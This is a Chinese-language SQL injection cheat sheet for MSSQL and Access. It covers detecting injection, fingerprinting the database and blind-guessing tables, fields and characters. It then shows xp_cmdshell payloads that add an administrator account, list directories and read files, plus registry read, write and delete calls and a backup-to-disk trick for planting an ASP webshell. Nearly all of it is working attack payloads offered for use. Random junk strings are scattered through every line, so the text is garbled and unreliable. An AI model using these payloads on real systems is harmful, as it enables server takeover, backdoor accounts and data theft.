1.判断是否有注入;and 1=1 ;and 1=2 )~q@2^
2.初步判断是否是mssql ;and user>0 R@=Bk(h
kfF.Ctr1a
3.注入参数是字符'and [查询条件] and ''=' t^h{D
rPV\ F
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Pg3O )D9
v3(W4G`
5.判断数据库系统 bg\~"
*o8DfZ
;and (select count(*) from sysobjects)>0 mssql 6Xjr0C+
Nz+Jf57t
;and (select count(*) from msysobjects)>0 access I("J$
.\0PyV(
LoHL}1BG-
`>@n6>f
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Pv.z~~lY
$u"t/_%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 =sG9]a<I
]M|Iy~
X
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 +jcg[|-'/
,+0>p
9.(1)猜字段的ascii值(access) 9JHu{r"M
6?U2Et
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ;c5Q"
*KP
60T
(2)猜字段的ascii值(mssql) 9aw- n*<
~]71(u2
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 o=`FGowF
W
s!N%%g
10.测试权限结构(mssql) %J06]FG7
gi;#?gps
~eH+*U|\|M
\lVX~r4
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- I!y[7^R
}.<%46_Z-
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]KMOLe6(
hSmu"a,S
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _"8\k7S*
56Q9RU(M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- pq`Bg`c
JFx=X=C
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- NGHzifaE
(,<ti):
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- J[:3H6%`
Gc)
Zu`67
;and 1=(select IS_MEMBER('db_owner'));-- djVE x}
M2ig iR
i"uAT$x e
!$'s?rnh
11.添加mssql和系统的帐户 j|f$:j
fDmGgD?
;exec master.dbo.sp_addlogin username;-- %(`4wo},
;exec master.dbo.sp_password null,username,password;-- RHo|&.B;+
ZbJUOa?WF
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- N
3)OH6w"
pA9:1*+;;
;exec master.dbo.xp_cmdshell 'net user username password |q?I(b4 Q@
i)V-q9\
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- PgZ~of&
U!sv6=(y@
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1]r+$L3
irNGURLm
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- !m"(SJn"
Za{sT&(|
,4ftQJ
%=J<WA6\
12.(1)遍历目录 4a;8XAl
+%%FT#ce
;create table dirs(paths varchar(100), id int) NQ$tQ#chd
/IM5#M5~
;insert dirs exec master.dbo.xp_dirtree 'c:\' sa8Sy& X"
24 S,w>j
;and (select top 1 paths from dirs)>0 t@-:e^ v
v~:$]a8
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3\6UH
T!o 4k
rm*Jo|eH`
6N
>ksqo8%
(2)遍历目录 mqGp]'{
x\j6=|
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .IYE+XzV
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 S2)rkX$
,,r%Y&:`6
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 -b-Pvw4
)2mi6[qs0l
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 v7VJVLH,I7
#;'1aT
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /ve8);cH\
H"8+[.xBh
kStWsc$;+T
B[F,D
13.mssql中的存储过程 x,"'\=|s*
2s,wC!',
xp_regenumvalues 注册表根键, 子键 >S5:zz\
,L&Ka|N0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8Pklw^k
RRy3N
)HR
xp_regread 根键,子键,键值名 Fs7/3
>G<AyS&z*
;exec xp_regread zH8l-0I+$
Y3jb'S4(
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 DUiqt09`~
fL4F
~@`9l
xp_regwrite 根键,子键, 值名, 值类型, 值 =8 d`qS"
):C4"2l3
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 }' `2C$
A(#hyb#
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 .H+`]qLkL
6/9 A' !4C
xp_regdeletevalue 根键,子键,值名 0Ha1pqR
4f~hd-z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Zk2-U"0\o
( B$;'U<
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 XiI@Px?FL
pLL
^R
Dq+rEt
67 >*AL
14.mssql的backup创建webshell
L's_lC
C^RO@kM
use model $(_Xt- 6
BuI&kU,WY
create table cmd(str image); rWF~aec
>L?)f3_a
insert into cmd(str) values (''); :h1itn
E,5jY
backup database model to disk='c:\l.asp'; X""<5s'0
.Vq-<c%
%"@KuqV
$xmltvaF
15.mssql内置函数 &ZFsK c#
n@w$5y1@
;and (select @@version)>0 获得Windows的版本号 =kohQ d.n
xtN%v0ZZ
;and user_name()='dbo' 判断当前系统的连接用户是不是sa +2`RvQN
0Ep%&>@
;and (select user_name())>0 爆当前系统的连接用户 l"!.aIY"e
yef@V2Z+
;and (select db_name())>0 得到当前连接的数据库 VN|P(S6
"y/GK1C
yWu80C8q
,6,#Lc
16.简洁的webshell 6Km@A M]
X:+;d8rCy
use model SZH,I&8
dNG>:p
create table cmd(str image); Z<z(;)?c
UceZWtYa
insert into cmd(str) values (''); XX~~SvSM
Lm"l*j4
backup database model to disk='g:\wwwtest\l.asp';